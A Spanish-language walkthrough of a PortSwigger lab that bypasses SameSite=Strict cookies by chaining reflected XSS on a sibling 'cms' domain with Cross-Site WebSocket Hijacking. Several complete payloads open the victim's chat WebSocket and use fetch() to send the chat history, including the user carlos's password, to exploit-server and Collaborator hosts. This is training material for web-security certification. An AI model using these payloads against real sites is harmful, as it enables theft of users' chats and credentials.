Entrada

SameSite Strict bypass via sibling domain

Laboratorio de Portswigger sobre CSRF

SameSite Strict bypass via sibling domain

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función de chat en vivo que es vulnerable a Cross-Site WebSocket Hijacking (CSWSH). Para resolver el laboratorio, debemos iniciar sesión en la cuenta de la víctima. Para lograrlo, usamos el servidor de explotación proporcionado para realizar un ataque CSWSH que exfiltre el historial de chat de la víctima al servidor predeterminado de Burp Collaborator. El historial de chat contiene las credenciales de inicio de sesión en texto plano


Guía de CSRF

Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/

Resolución

Al acceder a la web vemos esto

Pulsamos sobre Live chat y vemos que tenemos un chat

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que no hay ningún token que proteja contra CSRF

Si nos abrimos las herramientas de desarrollador de Chrome vemos que la única medida defensiva que tenemos es el atributo SameSite con el valor Strict. Si una cookie se establece con el atributo SameSite=Strict, los navegadores no la enviarán en ninguna solicitud entre sitios web. Esto significa que si el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie. Esto se recomienda cuando se configuran cookies que permiten al usuario modificar datos o realizar acciones sensibles, como acceder a páginas que solo están disponibles para usuarios autenticados

Es esencial tener en cuenta que una solicitud aún puede ser del mismo sitio web incluso si se emite desde un cross-origin, es decir, una solicitud que se realiza desde un dominio diferente al de la página web que se está visitando

Debemos auditar exhaustivamente toda la superficie de ataque disponible, incluidos los sibling domains. Un sibling domain es una réplica exacta de un main domain, en todos los aspectos excepto en el nombre del dominio en sí. El main domain y el sibling domain deben tener el mismo host de correo, las mismas listas de cuentas de correo, alias, configuraciones de filtrado de spam, y demás. Por ejemplo, yourcompany.com puede ser un main domain, mientras que yourcompany.net puede ser un sibling domain, en ese caso, cuando se envíe el mensaje dirigido a una dirección en yourcompany.net, lo tratará exactamente como si el mensaje hubiera sido enviado a la misma dirección en yourcompany.com

En particular, las vulnerabilidades que permiten provocar una solicitud secundaria, como XSS, pueden comprometer completamente las defensas del sitio web, exponiendo todos los dominios del sitio a ataques cross-origin

Además del CSRF clásico, si el sitio web de destino es compatible con WebSockets, esta funcionalidad podría ser vulnerable a Cross-Site WebSocket Hijacking (CSWSH), que es esencialmente un ataque CSRF dirigido al handshake del WebSocket

Si escribimos texto en el Live chat y le enviamos un READY al servidor, este nos devolverá todo el historial de chats porque están asociados a nuestra cookie

Esto lo podemos ver más claramente si mandamos la petición al Repeater y la tramitamos

También vemos que el Live chat carga un archivo JavaScript

Vemos que está consultando a un sibling domain, la cabecera Access-Control-Allow-Origin nos está diciendo que el dominio https://cms-0ae500ec0486aad482b7f65100c4004b.web-security-academy.net está autorizado y por lo tanto no le afecta la restricción del atributo SameSite Strict de la cookie. Si accedemos al dominio nos redirige a un panel de login

Vemos que se refleja el input del username en la web

Hemos logrado inyectar código HTML, usando el payload <h1>test</h1>

Si intentamos un XSS usando el payload <script>alert(3)</script> vemos que da resultado

Si accedemos a /resources/js/chat.js en cualquiera de los dos dominios podemos ver el archivo completo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(function () {
    var chatForm = document.getElementById("chatForm");
    var messageBox = document.getElementById("message-box");
    var webSocket = openWebSocket();

    messageBox.addEventListener("keydown", function (e) {
        if (e.key === "Enter" && !e.shiftKey) {
            e.preventDefault();
            sendMessage(new FormData(chatForm));
            chatForm.reset();
        }
    });

    chatForm.addEventListener("submit", function (e) {
        e.preventDefault();
        sendMessage(new FormData(this));
        this.reset();
    });

    function writeMessage(className, user, content) {
        var row = document.createElement("tr");
        row.className = className

        var userCell = document.createElement("th");
        var contentCell = document.createElement("td");
        userCell.innerHTML = user;
        contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;

        row.appendChild(userCell);
        row.appendChild(contentCell);
        document.getElementById("chat-area").appendChild(row);
    }

    function sendMessage(data) {
        var object = {};
        data.forEach(function (value, key) {
            object[key] = htmlEncode(value);
        });

        openWebSocket().then(ws => ws.send(JSON.stringify(object)));
    }

    function htmlEncode(str) {
        if (chatForm.getAttribute("encode")) {
            return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
                var lookup = {'\\': '&#x5c;', '\r': '&#x0d;', '\n': '&#x0a;', '"': '&quot;', '<': '&lt;', '>': '&gt;', "'": '&#39;', '&': '&amp;'};
                return lookup[c];
            });
        }
        return str;
    }

    function openWebSocket() {
       return new Promise(res => {
            if (webSocket) {
                res(webSocket);
                return;
            }

            let newWebSocket = new WebSocket(chatForm.getAttribute("action"));

            newWebSocket.onopen = function (evt) {
                writeMessage("system", "System:", "No chat history on record");
                newWebSocket.send("READY");
                res(newWebSocket);
            }

            newWebSocket.onmessage = function (evt) {
                var message = evt.data;

                if (message === "TYPING") {
                    writeMessage("typing", "", "[typing...]")
                } else {
                    var messageJson = JSON.parse(message);
                    if (messageJson && messageJson['user'] !== "CONNECTED") {
                        Array.from(document.getElementsByClassName("system")).forEach(function (element) {
                            element.parentNode.removeChild(element);
                        });
                    }
                    Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
                        element.parentNode.removeChild(element);
                    });

                    if (messageJson['user'] && messageJson['content']) {
                        writeMessage("message", messageJson['user'] + ":", messageJson['content'])
                    } else if (messageJson['error']) {
                        writeMessage('message', "Error:", messageJson['error']);
                    }
                }
            };

            newWebSocket.onclose = function (evt) {
                webSocket = undefined;
                writeMessage("message", "System:", "--- Disconnected ---");
            };
        });
    }
})();

Usando el archivo anterior como plantilla, vamos a construirnos un pequeño payload que nos permita tramitar una petición al Live chat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
    <body>
        <script>
            var webSocket = new WebSocket('wss://0ae5003804c578d380f0172500c9009c.web-security-academy.net/chat');

            webSocket.onopen = function() {
                webSocket.send("READY");
            };

            webSocket.onmessage = function(event) {
                var message = event.data;
                fetch('https://exploit-0ab000e304bb78ce80481698015c007f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
            };
        </script>
    </body>
</html>

Nos abrimos el Exploit server y pegamos el payload

Debemos pulsar en Deliver exploit to victim y después de eso en Access log, veremos que hemos recibido una petición con un mensaje en base64

Para el ver el mensaje nos dirigimos al Decoder de Burpsuite y decodeamos el base64

Esto también lo podemos hacer usando Burpsuite Collaborator, para ello lo primero en irnos a Collaborator y pulsar en Copy to clipboard

Una vez hecho esto creamos este payload y lo pegamos en el Exploit server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
    <body>
        <script>
            var webSocket = new WebSocket('wss://0ae6009604b0af07829c985600e500c6.web-security-academy.net/chat');

            webSocket.onopen = function() {
                webSocket.send("READY");
            };

            webSocket.onmessage = function(event) {
                fetch('https://ridae4ksfhiwltligy2c4ohnze56twhl.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
            };
        </script>
    </body>
</html>

Pulsamos en Deliver exploit to victim y en el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias solicitudes

La solicitud HTTP viene con este contenido, sin embargo, estamos usando una nueva sesión en el Live chat, por eso recibimos solo un mensaje. No podemos obtener el chat completo debido al atributo de la cookie SameSite Strict

Para obtener el chat completo, debemos encontrar una manera de bypassear la seguridad proporcionada por el atributo SameSite Strict de la cookie para llevar a cabo un Cross Site WebToken Hijacking (CSWTH)

Como hemos encontrado un XSS en un sibling domain, podemos utilizarlo para bypassear la restricción de SameSite Strict. Esto se debe a que cuando hacemos las peticiones entre sibling domains, se envían las cookies. No tenemos acceso a la cookie, pero sí que se transmite, y podemos usarla para explotar un CSRF

Lo primero que tenemos que hacer es URL encodear el payload anterior usando el Decoder de BurpSuite

1
2
3
4
5
6
7
8
9
10
11
<script>
    var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');

    webSocket.onopen = function() {
        webSocket.send("READY");
    };

    webSocket.onmessage = function(event) {
        fetch('https://turvsl20lidgjezs09fw8s5z1q7hvajz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Si pulsamos click derecho > Change request method vemos que también podemos enviar la solicitud de login usando el método GET

Posteriormente nos debemos crear este otro payload

1
2
3
4
5
6
7
<html>
    <body>
        <script>
            document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6a%37%72%6c%35%62%66%71%79%38%71%36%77%34%63%69%64%7a%73%6d%6c%69%69%70%65%67%6b%38%38%79%77%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos dirigimos a Burpsuite Collaborator y pulsamos sobre Pull now recibiremos varias peticiones por HTTP entre las cuales estará la contraseña del usuario carlos

También podemos usar este exploit

1
2
3
4
5
6
7
8
9
10
11
12
<script>
    var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');

    webSocket.onopen = function() {
        webSocket.send("READY");
    };

    webSocket.onmessage = function(event) {
        var message = event.data;
        fetch('https://exploit-0a6300d403ca81a881bc4223010500de.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
    };
</script>

URL encodeamos el payload

Construimos un payload

1
2
3
4
5
6
7
<html>
    <body>
        <script>
            document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%33%30%30%64%34%30%33%63%61%38%31%61%38%38%31%62%63%34%32%32%33%30%31%30%35%30%30%64%65%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6c%6f%67%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64

Si nos copiamos estas cadenas en el Decoder de BurpSuite, obtenemos la contraseña del usuario carlos

Otra forma alternativa es usando un formulario. Es importante no URL encodear el value de username, si lo hacemos, no funcionará el payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
    <body>
        <form action="https://cms-0ab000980478d98983e565b8006300a1.web-security-academy.net/login" method="POST">
            <input type="hidden" name="username" value="<script>
                var webSocket = new WebSocket('wss://0ab000980478d98983e565b8006300a1.web-security-academy.net/chat');
                webSocket.onopen = function() {
                    webSocket.send('READY');
                };
                webSocket.onmessage = function(event) {
                    var message = event.data;
                    fetch('https://exploit-0a4b00930450d90983516446017f008f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
                };
            </script>">
            <input type="hidden" name="password" value="test">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64

Nos pegamos las cadenas en base64 en el Decoder de BurpSuite y obtenemos la contraseña de carlos

La alternativa con Burpsuite Collaborator sería esta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
    <body>
        <form action="https://cms-0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/login" method="POST">
            <input type="hidden" name="username" value="<script>
                var webSocket = new WebSocket('wss://0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/chat');
                webSocket.onopen = function() {
                    webSocket.send('READY');
                };
                webSocket.onmessage = function(event) {
                    var message = event.data;
                    fetch('https://h9rj79ho06s4y2egfxukngkngemaa2yr.oastify.com', {method: 'POST', mode: 'no-cors', body: message});
                };
            </script>">
            <input type="hidden" name="password" value="test">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

En el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias peticiones. Si miramos el contenido de las peticiones podremos ver todo el historial del Live chat del usuario carlos, incluida su contraseña

Nos logueamos con las credenciales del usuario carlos y completamos el laboratorio

Esta entrada está licenciada bajo CC BY 4.0 por el autor.